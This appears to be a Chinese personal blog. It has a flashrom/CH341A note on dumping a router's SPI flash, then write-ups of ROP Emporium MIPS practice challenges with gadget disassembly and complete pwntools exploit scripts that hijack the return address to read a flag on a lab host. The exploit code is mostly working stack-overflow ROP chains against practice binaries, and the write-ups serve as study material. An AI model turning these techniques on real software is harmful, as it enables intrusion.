OneShell

I fight for a brighter tomorrow

0%

在Windows上有与ch341a配套的软件和驱动,那么理论上来说,Linux也应该有对应的软件,而且由于嵌入式领域相关还可能是先有的Linux版本然后再有的Windows移植版本。经过搜索,找到了一个软件flashrom,大概的原理应该是使用usb库,对不同的编程器做了适配,然后可以通过编程器读取到芯片类型、读写芯片内容等。

树莓派上安装flashrom:sudo apt-get install flashrom,在我的树莓派上默认安装的是v1.2版本。
同样我在Mac上也安装了:brew install flashrom,版本是v1.3.

初始使用flashrom

树莓派(失败)

将编程器夹子夹上K2P的内存芯片,并将编程器连接到树莓派的USB接口上。编程器的夹子让红线对准SPI flash圆孔处的引脚。SPI flash的芯片类型是:25Q127CSIG。
undifined

在树莓派上运行flashrom,使用-p参数指定编程器为ch341a_spi。如下,检测到了两种spi芯片类型。
undifined

后续需要使用-c命令指定spi芯片的型号,然后才能对芯片进行读、写、校验的操作。
undifined

我选择了两种芯片类型都读取失败了:经过搜索,可能是libusb库的问题,需要重新安装。然后重新安装了库之后还是失败,怀疑是不是因为硬件的问题或者是flashrom软件的问题,于是在Mac上重新尝试了。
undifined

Mac(成功)

可能是因为flashrom版本的问题?树莓派上是v1.2.0,而Mac上是v1.3.0
undifined

读取出来的固件也可以使用binwalk查看相关信息。那么可以确定是flashrom版本的问题,决定重新在树莓派上从源码编译安装最新版本的flashrom v1.3.0
undifined

树莓派重新编译v1.3.0

在树莓派上重新编译flashrom,编译所需要的依赖可以根据官方库ReadMe文档安装,也可以在make的时候看检测安装。

1
2
3
4
5
wget https://github.com/flashrom/flashrom/archive/refs/tags/v1.3.0.tar.gz
tar -xvf v1.3.0.tar.gz
cd flashrom-1.3.0
sudo apt-get install libpci-dev libjaylink-dev libgusb-dev libftdi1-dev
make

解决报错:/bin/sh: 1: sphinx-build: not found

1
2
3
sudo apt-get install python3-pip
pip3 install Sphinx
sudo apt-get install python3-sphinx

解决报错:make: ./util/getrevision.sh: No such file or directory
这是因为在tag v1.3.0下载的源码没有./util/getrevision.sh这个文件,从官方库中下载到源码目录或者手动创建一个。我是手动创建了该文件,然后从./util/getreversion.sh复制内容。

安装的时候可以先卸载掉原来的flashrom,因为apt-get安装的在/usr/sbin目录,编译默认在/usr/local/sbin

1
2
sudo apt-get purge flashrom
make install

重新编译后的flashrom需要使用sudo权限才能正常运行:
undifined

现在可以成功读取K2P的SPI flash了。
undifined

使用binwalk也可以检测读取出来的内容,读取成功
undifined

小结

最开始在树莓派上使用apt-get安装的v1.2版本的flashrom来读取K2P的SPI flash,失败了。通过和Mac上使用flashrom成功读取对比,判断可能是flashrom版本问题,于是在树莓派上重新下载源码编译安装了v1.3的flashrom,最后读取成功。

emm,说实话这道题目我没有看懂具体是想要做什么、绕过什么,是根据内置的gadgets来推断exp该怎么写的。

程序内置questionableGadgets分析

ropemporium中的程序总是会内置一些官方提供的gadgets,也是为了让练习者更加专心于控制ROP本身而不用花费太多功夫在寻找gadget上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
.text:00400930 questionableGadgets:
.text:00400930 lw $t9, 8($sp)
.text:00400934 lw $t4, 4($sp)
.text:00400938 xor $s1, $s1
.text:0040093C li $a0, 0x412C70
.text:00400944 jalr $t9
.text:00400948 addi $sp, 0xC
.text:0040094C lw $t9, 8($sp)
.text:00400950 lw $s2, 4($sp)
.text:00400954 li $t4, 0x412C74
.text:0040095C jalr $t9
.text:00400960 addi $sp, 0xC
.text:00400964 lw $t9, 4($sp)
.text:00400968 xor $s1, $s2
.text:0040096C li $a1, 0x411500
.text:00400974 jalr $t9
.text:00400978 addi $sp, 8
.text:0040097C lw $t9, 4($sp)
.text:00400980 xor $s0, $s1
.text:00400984 xor $s1, $s0, $s1
.text:00400988 xor $s0, $s1
.text:0040098C li $t5, 0x411504
.text:00400994 jalr $t9
.text:00400998 addi $sp, 8
.text:0040099C lw $t9, 4($sp)
.text:004009A0 sw $s1, 0($s0)
.text:004009A4 jalr $t9
.text:004009A8 addi $sp, 8
.text:004009AC lw $a0, 8($sp)
.text:004009B0 lw $t9, 4($sp)
.text:004009B4 jalr $t9
.text:004009B8 addi $sp, 0xC
.text:004009BC nop

0x00400930:gadget_clear_s1

该gadget的作用就是清零s1寄存器,其他的寄存器操作例如t4、a0都是干扰项

1
2
3
4
5
6
.text:00400930 08 00 B9 8F                   lw      $t9, 8($sp)
.text:00400934 04 00 AC 8F lw $t4, 4($sp)
.text:00400938 26 88 31 02 xor $s1, $s1 # 清零s1
.text:0040093C 41 00 04 3C 70 2C 84 34 li $a0, "A,p"
.text:00400944 09 F8 20 03 jalr $t9
.text:00400948 0C 00 BD 23 addi $sp, 0xC

0x00400948:gadget_get_s2

该gadget的作用是从栈上[sp+4]取出值,写入到s2寄存器中

1
2
3
4
5
.text:0040094C 08 00 B9 8F                   lw      $t9, 8($sp)   # 下一个gadget地址
.text:00400950 04 00 B2 8F lw $s2, 4($sp) # 获取s2的值
.text:00400954 41 00 0C 3C 74 2C 8C 35 li $t4, "A,t"
.text:0040095C 09 F8 20 03 jalr $t9
.text:00400960 0C 00 BD 23 addi $sp, 0xC

0x00400960:gadget_write_s1

该gadget的作用是,从s2寄存器中取出值,然后放到s1寄存器中。当然,必须提前对s1寄存器进行清零,也就是调用gadget_clear_s1

1
2
3
4
5
.text:00400964 04 00 B9 8F                   lw      $t9, 4($sp)   # 下一个gadget地址
.text:00400968 26 88 32 02 xor $s1, $s2 # s1 = s1 ^ s2
.text:0040096C 41 00 05 3C 00 15 A5 34 li $a1, 0x411500
.text:00400974 09 F8 20 03 jalr $t9
.text:00400978 08 00 BD 23 addi $sp, 8

0x0040097C gadget_echg_s1_s0

该gadget的作用是,交换寄存器s0和s1的值。那三条xor指令,就是利用了xor的结合律和交换律,达到s0和s1值互换的目的。
通过这条gadget可以将s1的值写入到s0中,这样就等价于可以控制两个寄存器的值。s0和s1在后面的gadget也用于写入数据到地址

1
2
3
4
5
6
7
.text:0040097C 04 00 B9 8F                   lw      $t9, 4($sp)
.text:00400980 26 80 11 02 xor $s0, $s1 # gadget_echg_s1_s0
.text:00400984 26 88 11 02 xor $s1, $s0, $s1
.text:00400988 26 80 11 02 xor $s0, $s1
.text:0040098C 41 00 0D 3C 04 15 AD 35 li $t5, 0x411504
.text:00400994 09 F8 20 03 jalr $t9
.text:00400998 08 00 BD 23 addi $sp, 8

0x0040099C gadget_write_data

该gadget的作用是,将s1的值写入到s0值指向的地址。

1
2
3
4
.text:0040099C 04 00 B9 8F                   lw      $t9, 4($sp)                      # gadget_write_data
.text:004009A0 00 00 11 AE sw $s1, 0($s0) # s1中放值,s0放地址
.text:004009A4 09 F8 20 03 jalr $t9
.text:004009A8 08 00 BD 23 addi $sp, 8

0x004009AC print_file

该gadget的作用是,调用print_file函数。

1
2
3
4
.text:004009AC 08 00 A4 8F                   lw      $a0, 8($sp)                      # 调用print_file函数
.text:004009B0 04 00 B9 8F lw $t9, 4($sp)
.text:004009B4 09 F8 20 03 jalr $t9
.text:004009B8 0C 00 BD 23 addi $sp, 0xC

通过上面的gadget合集分析,可以得出,大概的ROP构造思路是:

  1. 溢出劫持控制流
  2. 分两次将flag.txt写入到data段
    • gadget_get_s2:s2寄存器是可控输入源
    • gadget_clear_s1:清零s1,因为写入s1是通过s1 = s1 ^ s2实现的
    • gadget_write_s1:写入s1
    • gadget_echg_s1_s0:先保证写入了s0,然后写入s1
    • gadget_get_s2
    • gadget_clear_s1
    • gadget_write_s1
    • gadget_write_data:将四个字节写入到data段
  3. 调用print_file函数

rop构造

返回地址保存sp+0x3C,缓冲区位于sp+18h,因此填充0x24后,开始劫持控制流。

1
2
rop = b"A" * 0x24
rop += gadget_get_s2

如下就是将4个字节写入指定地址,重复执行两次就可以将flag.txt写入到data段中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
rop += b"B" * 4
rop += p32(0x00411000)
rop += gadget_clear_s1

rop += b"B" * 4
rop += b"B" * 4
rop += gadget_write_s1

rop += b"B" * 4
rop += gadget_echg_s1_s0

rop += b"B" * 4
rop += gadget_get_s2

rop += b"B" * 4
rop += b"flag"
rop += gadget_clear_s1

rop += b"B" * 4
rop += b"B" * 4
rop += gadget_write_s1

rop += b"B" * 4
rop += gadget_write_data

最后就是调用print_file函数

exp

非常粗糙的一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
BINARY = "./fluff_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

gadget_get_s2 = p32(0x0040094C)
gadget_clear_s1 = p32(0x00400930)
gadget_write_s1 = p32(0x00400964)
gadget_echg_s1_s0 = p32(0x0040097C)
gadget_write_data = p32(0x0040099C)
gadget_call_print = p32(0x004009AC)

rop = b"A" * 0x24
rop += gadget_get_s2

rop += b"B" * 4
rop += p32(0x00411000)
rop += gadget_clear_s1

rop += b"B" * 4
rop += b"B" * 4
rop += gadget_write_s1

rop += b"B" * 4
rop += gadget_echg_s1_s0

rop += b"B" * 4
rop += gadget_get_s2

rop += b"B" * 4
rop += b"flag"
rop += gadget_clear_s1

rop += b"B" * 4
rop += b"B" * 4
rop += gadget_write_s1

rop += b"B" * 4
rop += gadget_write_data

rop += b"B" * 4
rop += gadget_get_s2

# 第一个写入
rop += b"B" * 4
rop += p32(0x00411004)
rop += gadget_clear_s1

rop += b"B" * 4
rop += b"B" * 4
rop += gadget_write_s1

rop += b"B" * 4
rop += gadget_echg_s1_s0

rop += b"B" * 4
rop += gadget_get_s2

rop += b"B" * 4
rop += b".txt"
rop += gadget_clear_s1

rop += b"B" * 4
rop += b"B" * 4
rop += gadget_write_s1

rop += b"B" * 4
rop += gadget_write_data

rop += b"B" * 4
rop += gadget_call_print

rop += b"B" * 4
rop += p32(ELF.symbols["print_file"])
rop += p32(0x00411000)

with open("raw", "wb") as f:
f.write(rop)

p = remote("10.0.0.2", 8888)
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

结果如下:

1
2
3
4
5
6
7
8
9
10
$ python3 fluff.py
[*] '/home/utest/Code/mipsrop/fluff_mipsel/fluff_mipsel'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Opening connection to 10.0.0.2 on port 9999: Done
b'ROPE{a_placeholder_32byte_flag!}'

参考链接

pwnme反编译代码如下,可以看到会对写入的缓冲区逐个字节进行检查,如果包含x、g、a、.字符,则替换成0xEB。
在程序中含有print_file函数,因此大概的思路是需要使用ROP带参数flag.txt调用print_file函数,同时需要找一个方法来规避pwnme函数对缓冲区中数字的过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int pwnme()
{
unsigned int len; // [sp+18h] [+18h]
unsigned int i; // [sp+1Ch] [+1Ch]
unsigned int j; // [sp+20h] [+20h]
char v4[32]; // [sp+28h] [+28h] BYREF

setvbuf(stdout, 0, 2, 0);
puts("badchars by ROP Emporium");
puts("MIPS\n");
memset(v4, 0, sizeof(v4));
puts("badchars are: 'x', 'g', 'a', '.'");
printf("> ");
len = read(0, v4, 0x200u);
for ( i = 0; i < len; ++i ) // 对写入缓冲区中的数据进行检查,如果有badchar,则替换
{
for ( j = 0; j < 4; ++j )
{
if ( v4[i] == badcharacters[j] )
v4[i] = 0xEB;
}
}
return puts("Thank you!");
}

ROP

通过看官方内置的gadgets,大概的思路应该是,先将ROP异或某个数写入到缓冲区,然后控制流劫持后,再使用异或恢复缓冲区。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:00400930                               usefulGadgets:
.text:00400930 0C 00 B9 8F lw $t9, 0xC($sp)
.text:00400934 08 00 A8 8F lw $t0, 8($sp)
.text:00400938 04 00 A9 8F lw $t1, 4($sp)
.text:0040093C 00 00 09 AD sw $t1, 0($t0)
.text:00400940 09 F8 20 03 jalr $t9
.text:00400944 10 00 BD 23 addi $sp, 0x10
.text:00400944
.text:00400948 0C 00 B9 8F lw $t9, 0xC($sp)
.text:0040094C 08 00 A8 8F lw $t0, 8($sp)
.text:00400950 04 00 A9 8F lw $t1, 4($sp)
.text:00400954 00 00 2A 8D lw $t2, 0($t1)
.text:00400958 26 40 0A 01 xor $t0, $t2
.text:0040095C 00 00 28 AD sw $t0, 0($t1)
.text:00400960 09 F8 20 03 jalr $t9
.text:00400964 10 00 BD 23 addi $sp, 0x10
.text:00400964
.text:00400968 08 00 A4 8F lw $a0, 8($sp)
.text:0040096C 04 00 B9 8F lw $t9, 4($sp)
.text:00400970 09 F8 20 03 jalr $t9
.text:00400974 0C 00 BD 23 addi $sp, 0xC
.text:00400974
.text:00400978 00 00 00 00 nop
.text:0040097C 00 00 00 00 nop

可以将该gadget分成三段:
第一段:write_to_addr,负责写入4个字节到data段中

1
2
3
4
5
6
7
.text:00400930                               write_to_addr
.text:00400930 0C 00 B9 8F lw $t9, 0xC($sp) # 下个gadget地址
.text:00400934 08 00 A8 8F lw $t0, 8($sp) # 写入目标地址
.text:00400938 04 00 A9 8F lw $t1, 4($sp) # 写入的数据
.text:0040093C 00 00 09 AD sw $t1, 0($t0)
.text:00400940 09 F8 20 03 jalr $t9
.text:00400944 10 00 BD 23 addi $sp, 0x10

第二段:xor_decrypt,负责对指定地址的4个字节进行xor解密

1
2
3
4
5
6
7
8
9
.text:00400948                               xor_decrypt
.text:00400948 0C 00 B9 8F lw $t9, 0xC($sp) # 下个gadget地址
.text:0040094C 08 00 A8 8F lw $t0, 8($sp) # xor解密key
.text:00400950 04 00 A9 8F lw $t1, 4($sp) # 数据地址
.text:00400954 00 00 2A 8D lw $t2, 0($t1)
.text:00400958 26 40 0A 01 xor $t0, $t2
.text:0040095C 00 00 28 AD sw $t0, 0($t1)
.text:00400960 09 F8 20 03 jalr $t9
.text:00400964 10 00 BD 23 addi $sp, 0x10

第三段:print_file,带参数调用print_file函数

1
2
3
4
.text:00400968 08 00 A4 8F                   lw      $a0, 8($sp)  # flag.txt地址
.text:0040096C 04 00 B9 8F lw $t9, 4($sp) # print_file函数
.text:00400970 09 F8 20 03 jalr $t9
.text:00400974 0C 00 BD 23 addi $sp, 0xC

ROP构造如下:
先填充到返回地址,ra保存在SP+0x4C,缓冲区位于SP+0x28,因此需要填充0x24,才能覆盖返回地址。

1
rop = b"A" * 0x24

badchars = ‘.’, ‘a’, ‘g’, ‘x’ = 0x2e, 0x61, 0x67, 0x78,可以采用如下的脚本去选择一个key来和字符串进行异或:

1
2
3
4
5
6
7
8
9
10
badchars = b".agx"
flag_txt = b"flag.txt"
key = ""
for each in flag_txt:
for i in range(0, 32):
if each ^ i not in badchars:
key += str(hex(i)) + " "
print(hex(each), hex(i ^ each), chr(i ^ each))
break
print("key:", key)

继续构造ROP,将xor_flag分两次通过第一个gadget写入到data段上。

1
2
3
4
5
6
7
8
9
10
11
rop += p32(write_to_addr)
# 栈平衡完成
rop += b"B" * 0x4
rop += b"\x66\x6c\x60\x66"
rop += p32(0x00411000)
rop += p32(write_to_addr)
# 栈平衡完成
rop += b"B" * 0x4
rop += b"\x2f\x74\x79\x74"
rop += p32(0x00411004)
rop += p32(xor_decrypt)

此时就规避了程序对于关键字符的过滤,那么在执行ROP的时候还需要对该字符串进行解密

1
2
3
4
5
6
7
8
9
10
# 栈平衡完成
rop += b"B" * 0x4
rop += p32(0x00411000)
rop += b"\x00\x00\x01\x01"
rop += p32(xor_decrypt)
# 栈平衡完成
rop += b"B" * 0x4
rop += p32(0x00411004)
rop += b"\x01\x00\x01\x00"
rop += p32(print_file)

解密完成后,调用print_file函数

1
2
3
rop += b"B" * 0x4 
rop += p32(ELF.symbols['print_file'])
rop += p32(0x00411000)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
BINARY = "./badchars_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

write_to_addr = 0x00400930
xor_decrypt = 0x00400948
print_file = 0x00400968

rop = b"A" * 0x24

rop += p32(write_to_addr)

rop += b"B" * 0x4
rop += b"\x66\x6c\x60\x66"
rop += p32(0x00411000)
rop += p32(write_to_addr)

rop += b"B" * 0x4
rop += b"\x2f\x74\x79\x74"
rop += p32(0x00411004)
rop += p32(xor_decrypt)

rop += b"B" * 0x4
rop += p32(0x00411000)
rop += b"\x00\x00\x01\x01"
rop += p32(xor_decrypt)

rop += b"B" * 0x4
rop += p32(0x00411004)
rop += b"\x01\x00\x01\x00"
rop += p32(print_file)

rop += b"B" * 0x4
rop += p32(ELF.symbols['print_file'])
rop += p32(0x00411000)
with open("./raw", "wb") as f:
f.write(rop)
p = remote("10.0.0.2", 8888)
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

结果如下:

1
2
3
4
5
6
7
8
9
10
11
$ python3 badchars.py
[*] '/home/utest/Code/mipsrop/badchars_mipsel/badchars_mipsel'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Opening connection to 10.0.0.2 on port 9999: Done
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 10.0.0.2 port 9999

目的:调用print_file函数,将flag路径作为参数传递,然后打印出来。难点在于如何将flag路径布置到栈上,并且将路径字符串指针作为参数传递。
程序内部提供了一个usefulGadgets,应该可以分为两个gadget,第二个gadget_print是用来传递路径并执行print_file函数的。
第一个gadget_write的作用大概是,从栈上SP+8取出4个字节,并写入到栈上SP+4存储的地址中,最后跳转到SP+0xC继续执行,并调整栈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:00400930                               usefulGadgets:
.text:00400930 0C 00 B9 8F lw $t9, 0xC($sp)
.text:00400934 08 00 A8 8F lw $t0, 8($sp)
.text:00400938 04 00 A9 8F lw $t1, 4($sp)
.text:0040093C 00 00 09 AD sw $t1, 0($t0)
.text:00400940 09 F8 20 03 jalr $t9
.text:00400944 10 00 BD 23 addi $sp, 0x10
.text:00400944
.text:00400948 08 00 A4 8F lw $a0, 8($sp)
.text:0040094C 04 00 B9 8F lw $t9, 4($sp)
.text:00400950 09 F8 20 03 jalr $t9
.text:00400954 00 00 00 00 nop
.text:00400954
.text:00400958 00 00 00 00 nop
.text:0040095C 00 00 00 00 nop

ROP构造

那么ROP的思路就是:使用第一个gadget将数据写入到某个地址,最后使用第二个gadget继续执行。

  1. 缓冲区填充
    分析pwnme函数,ra保存在SP+0x3C,缓冲区为SP+0x18,需要填充0x24个数据才能开始覆盖
    1
    rop = b"A" * 0x24
  2. 写入数据到某个地址
    不能选择写入到栈上(或许可以其他的ROP链实现),因为写入到栈上需要额外的ROP将栈上的字符串起始地址暴露出来。此处选择程序的某个可写的Section来写入数据,这样地址完全可控。写入数据就是”flag.txt”一共8个字节,需要调用两次gadget_wirte。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    rop += p32(gadget_write)
    rop += b"B" * 0x4
    rop += b"flag"
    rop += p32(0x00411000)

    rop += p32(gadget_write)
    rop += b"B" * 0x4
    rop += b".txt"
    rop += p32(0x00411004)

    rop += (gadget_print)
    rop += b"B" * 0x4
    rop += p32(print_file)
    rop += p32(0x00411000)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
BINARY = "./write4_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

gadget_write = 0x00400930
gadget_print = 0x00400948
print_file = ELF.symbols['print_file']

rop = b"A" * 0x24
rop += p32(gadget_write)
rop += b"B" * 0x4
rop += b"flag"
rop += p32(0x00411000)

rop += p32(gadget_write)
rop += b"B" * 0x4
rop += b".txt"
rop += p32(0x00411004)

rop += p32(gadget_print)
rop += b"B" * 0x4
rop += p32(print_file)
rop += p32(0x00411000)

p = remote("10.0.0.2", 8888)
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

结果如下:

1
2
3
4
5
6
7
8
9
10
[*] '/home/utest/Code/mipsrop/write4_mipsel/write4_mipsel'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Opening connection to 10.0.0.2 on port 9999: Done
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 10.0.0.2 port 9999

目的:需要构造ROP链来调用三个函数,并传入正确的参数。
在callme_one函数中是读取文件encrypted_flag.dat并保存到堆分配的空间g_buf中;callme_two函数读取文件key1.dat和g_buf进行逐字节异或解密;callme_three函数读取文件key2.dat继续和g_bug进行异或解密;
三个函数都会对传入的参数进行判定,参数符合条件再进行解密操作:

  • callme_one:arg1 == 0xDEADBEEF && arg2 == 0xCAFEBABE && arg3 == 0xD00DF00D
  • callme_two:arg1 == 0xDEADBEEF && arg2 == 0xCAFEBABE && arg3 == 0xD00DF00D
  • callme_thress:arg1 == 0xDEADBEEF && arg2 == 0xCAFEBABE && arg3 == 0xD00DF00D
    在IDA中可以找到一个可用的gadget,如下 :
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    .text:00400BB0                               usefulGadgets:
    .text:00400BB0 10 00 A4 8F lw $a0, 0x10($sp)
    .text:00400BB4 0C 00 A5 8F lw $a1, 0xC($sp)
    .text:00400BB8 08 00 A6 8F lw $a2, 8($sp)
    .text:00400BBC 04 00 B9 8F lw $t9, 4($sp)
    .text:00400BC0 09 F8 20 03 jalr $t9
    .text:00400BC4 00 00 00 00 nop
    .text:00400BC4
    .text:00400BC8 14 00 BF 8F lw $ra, 0x14($sp)
    .text:00400BCC 08 00 E0 03 jr $ra
    .text:00400BD0 18 00 BD 23 addi $sp, 0x18
    第一个gadget的作用是:分别从sp+0x10、sp+0xc、sp+0x8获取a0、a1、a2参数,传递给保存在sp+0x4处的函数,跳转并执行;
    第二个gadget的作用是:跳转到sp+0x14执行,并开辟0x18大小的栈帧

ROP构造

漏洞函数依旧是pwnme,ra寄存器中的函数返回地址保存在:sp+0x3C,存在溢出的缓冲区buffer:sp+0x18,因此需要0x24个字节的数据填充到返回地址。
需要注意的是,当开始执行ROP,在pwnme函数中已经将堆栈指针sp进行了恢复,因此覆盖掉返回地址后,为了后期的数据布局,还需要继续覆盖4个字节,使得随后的参数可以正确布置到栈上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 填充到栈上的返回地址
rop = b"A" * 0x24

# 覆盖返回地址
rop += usefulGadgets
# 此时SP起始地址在此处
rop += b"B" * 0x04
rop += callme_one
rop += arg3
rop += arg2
rop += arg1

rop += usefulGadgets
# 在usefulGadgets也增加了SP,因此需要填充4个字节保证数据正确布置到栈上
rop += b"B" * 0x04
rop += callme_two
rop += arg3
rop += arg2
rop += arg1

rop += usefulGadgets
rop += b"B" * 0x04
rop += callme_three
rop += arg3
rop += arg2
rop += arg1

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
BINARY = "./callme_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

rop = b"A" * 0x24

for func in ['callme_one', 'callme_two', 'callme_three']:
rop += p32(0x00400BB0)
rop += b"B" * 0x4
rop += p32(ELF.symbols[func])
rop += p32(0xD00DF00D)
rop += p32(0xCAFEBABE)
rop += p32(0xDEADBEEF)

p = remote("10.0.0.2", 9999)
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

结果如下:

1
2
3
4
5
6
7
8
9
10
11
$ python3 exp.py
[*] '/home/utest/rop_practice/mipsel/callme_mipsel/callme_mipsel'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Opening connection to 10.0.0.2 on port 9999: Done
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 10.0.0.2 port 9999

这道题目的本质是如何让ROP去执行system,同时将命令/bin/cat flag.txt的地址传递给system函数。
漏洞的溢出点还是非常简单,缓冲区位于:sp+18h,ra中的函数返回地址保存在:sp + 3ch,填充24h个数据后,开始覆盖掉返回地址。
那么需要找个一个gadget可以控制a0寄存器,随后可以执行到system函数,非常巧的是,在该题目ELF中塞入了一个这样的gadget:

1
2
3
4
5
.text:00400A20                               usefulGadgets:
.text:00400A20 08 00 A4 8F lw $a0, 8($sp)
.text:00400A24 04 00 B9 8F lw $t9, 4($sp)
.text:00400A28 09 F8 20 03 jalr $t9
.text:00400A2C 00 00 00 00 nop

此时的问题就是如何控制命令地址和system函数的地址分别到sp+8和sp+4上。
当控制流被劫持的时候,此时sp已经完成了堆栈平衡,此时的sp相对溢出缓冲区起始地址的距离是40h-18h=28h,那么可以将命令地址和system函数地址布置到sp+8和sp+4,也就是相对溢出缓冲区28h+8和28h+4的位置,小结如下:

相对溢出缓冲区的布局:

  • 24h后的4个字节=gadget位置,写完了28h个字节
  • 28h+4=2ch后的4个字节=system函数地址,写完了30h个字节
  • 28h+8=30h后的4个字节=/bin/cat/ flag.txt的地址
    中间无用的数据使用任意字节填充,得到ROP如下:
    1
    2
    3
    4
    5
    rop = b"A" * 0x24
    rop += p32(0x00400A20) # gadget
    rop += b"B" * 4
    rop += p32(0x004110CC)
    rop += p32(0x00411010)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

BINARY = "./split_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

rop = b"A" * 0x24
rop += p32(0x00400A20)
rop += b"B" * 4
rop += p32(ELF.symbols["system"])
rop += p32(0x00411010)

with open("raw", "wb") as f:
f.write(rop)

p = remote("10.0.0.2", 8888)
p.recv()
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

#qu gdb运行到分支、运行到函数返回

开始做第一个题目:ret2win。

MIPS指令基本分析

首先简单对MIPS程序的指令进行分析。

函数初始化过程:

  • 首先是开辟栈帧,通过给sp寄存器加上一个负数的方式,来开辟栈帧空间。
  • 保存ra寄存器到栈上,即将函数执行完毕后的返回地址到本函数的栈上,因为本函数如果调用了子函数,ra寄存器会被使用。
  • 保存fp寄存器到栈上,fp中保存了上一个函数的栈顶,也就是上一个函数的sp。
  • 将当前的栈顶sp保存到fp中,现在不是很能说清楚这个操作的含义,可能是用来在调用子函数的时候,恢复本函数的栈顶
  • 读取GOT上的偏移到gp中,然后将gp的值保存到栈上。
    1
    2
    3
    4
    5
    6
    .text:00400830 addiu   $sp, -0x20       # 开辟栈帧
    .text:00400834 sw $ra, 0x18+var_s4($sp) # 保存函数返回地址到栈上
    .text:00400838 sw $fp, 0x18+var_s0($sp) # 保存栈帧寄存器到栈上
    .text:0040083C move $fp, $sp
    .text:00400840 li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0)
    .text:00400848 sw $gp, 0x18+var_8($sp) # 将gp也保存到了栈上
    对于ra寄存器,是用来保存返回地址的(return address),在MIPS的缓冲区溢出中,需要通过溢出修改掉在函数初始化时保存在栈上的ra寄存器值。等函数执行完毕之后,就从栈上恢复值到ra寄存器,并跳转执行。意思就是,MIPS架构中劫持ra寄存器是劫持控制流的关键。

函数的退出过程:

  • 从栈上恢复先前保存的gp
  • 给v0寄存器赋值0,v0和v1寄存器一般用来保存函数的返回值
  • 将fp赋值给sp,但是在本函数中没有操作sp和fp,因此,sp=sp没有发生变化
  • 从栈上恢复ra和fp,也就是恢复函数返回地址、上一个函数的fp
  • 恢复栈帧,实现堆栈平衡
  • 跳转到ra,也就是函数返回地址,随后的一个nop指令是指令延迟槽,会被执行
    1
    2
    3
    4
    5
    6
    7
    8
    .text:004008D4 lw      $gp, 0x18+var_8($fp)
    .text:004008D8 move $v0, $zero
    .text:004008DC move $sp, $fp
    .text:004008E0 lw $ra, 0x18+var_s4($sp)
    .text:004008E4 lw $fp, 0x18+var_s0($sp)
    .text:004008E8 addiu $sp, 0x20
    .text:004008EC jr $ra
    .text:004008F0 nop

一个函数跳转的实现:

  • MIPS架构中,小于等于4个参数使用寄存器a0~a3进行参数传递
  • 在调用setvbuf时,先将函数地址赋值给v0,然后再赋值给t9,最后jalr跳转到函数执行
  • jalr跳转指令下还有一个nop指令,这个指令是MIPS的分支延迟槽,分支延迟槽和MIPS的流水线相关,此处不展开细说,大概就是分支(b指令)和跳转(j指令)后的一条指令会随着分支和跳转指令执行完毕后自动执行。分支延迟槽也通常被用于设置一个函数传参,例如就可以把li $a2, 2这条指令放到分支延迟槽中。
    1
    2
    3
    4
    5
    6
    7
    8
    .text:00400854 move    $a3, $zero       # n
    .text:00400858 li $a2, 2 # modes
    .text:0040085C move $a1, $zero # buf
    .text:00400860 move $a0, $v0 # stream
    .text:00400864 la $v0, setvbuf
    .text:00400868 move $t9, $v0
    .text:0040086C jalr $t9 ; setvbuf
    .text:00400870 nop

缓冲区溢出

1
2
3
4
5
6
7
8
9
10
11
12
int pwnme()
{
char v1[32]; // [sp+18h] [+18h] BYREF

memset(v1, 0, sizeof(v1));
puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
puts("What could possibly go wrong?");
